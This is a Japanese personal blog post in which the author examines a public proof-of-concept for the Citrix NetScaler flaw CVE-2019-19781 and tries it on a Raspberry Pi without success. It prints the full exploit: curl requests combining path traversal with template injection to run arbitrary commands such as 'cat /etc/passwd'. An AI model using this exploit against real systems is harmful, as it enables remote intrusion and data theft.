仕事の基盤で思いっきり使っているCitrixに脆弱性があったようだ。界隈で話題になり始めている。
脆弱性があるとこうなるっぽい。要はリモートから cat /etc/passwd されてしまうということだ。こわ。
projectzeroindea なるサイトが検証スクリプト.shをアップしてる。
さっそく使ってみる。うちにも昔使ったCitrix環境があったはずだからこれで試す。
http://min117.hatenablog.com/entry/2017/05/05/161409
検証ファイルをダウンロードし
解凍する。
含まれるファイルは3つ。うち1つはPNG画像。
README.mdは無視して、CVE-2019-19781.sh を覗いてみる。
$ cat CVE-2019-19781.sh
なるほど。curlで脆弱性のあるスクリプトnewbm.plを叩いてるだけ。
実行してみようと思ったが、以前に作ったXenServerは既に消えてしまっていた。やむないのでテスト用に置いてあるRaspberryPi3に対して試してみる。
$ bash CVE-2019-19781.sh 192.168.3.41 'cat /etc/passwd'
Connection Refusedと出た。まあ当たり前か。今回の脆弱性はCitrixサーバのものであって、piは関係ないからね。
冒頭、引数$1がなかったら echoでメッセージを出す。-ne してるところがニクい。
if [ -z "$1" ];
then
echo -ne 'Usage : bash CVE-2019-19781.sh IP_OF_VULNURABLE_HOST COMMAND_TO_EXECUTE\n'
exit;
fi
次はランダムファイルから文字を拾ってファイル名にしてるのか。foldコマンド知らなかった。
filenameid=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1);
https://www.atmarkit.co.jp/ait/articles/1712/07/news013.html
curlでnewbm.plを叩いている。
curl -s -k "https://$1/vpn/../vpns/portal/scripts/newbm.pl" -d "url=http://example.com\&title=[%25+template.new({'BLOCK'%3d'exec(\'$2 | tee /netscaler/portal/templates/$filenameid.xml\')%3b'})+%25]\&desc=test\&UI_inuse=RfWeb" -H "NSC_USER: /../../../../../../../../../../netscaler/portal/templates/$filenameid" -H 'NSC_NONCE: test1337' -H 'Content-type: application/x-www-form-urlencoded' --path-as-is
echo -ne "\n" ;curl -m 3 -k "https://$1/vpn/../vpns/portal/$filenameid.xml" -s -H "NSC_NONCE: pwnpzi1337" -H "NSC_USER: pwnpzi1337" --path-as-is
echo -ne "Command Output :\n"
curl -m 3 -k "https://$1/vpn/../vpns/portal/$filenameid.xml" -H "NSC_NONCE: pwnpzi1337" -H "NSC_USER: pwnpzi1337" --path-as-is
--path-as-isについてはいずれ調べる。
template.new({'BLOCK'%3d'exec(\'$2 | tee /netscaler/portal/templates/$filenameid.xml\') が読み解けない。すぐには分からない。すごい技術。いずれゆっくり調べる。
やっぱ悪いことを考えるやつは(行動は最悪だけど)達成に向けた動機というかパワーが凄い。おかしな言い方だが成功に貪欲だ。良いとこだけもらうことにする。
Pythonの検証コードもあった。
$ cat citrixmash.py
こりゃ極悪そうだ。
$ python3 cve-2019-19781_scanner.py
エラーになった。モジュール netaddr が必要らしい。
$ pip install netaddr
インストール成功。
再度実行。
$ python3 cve-2019-19781_scanner.py
検証したいが、やはりサーバがない。VMware-FusionのインストールしなおしてCitrix復活させるところからやらなきゃか。また今度にしよう。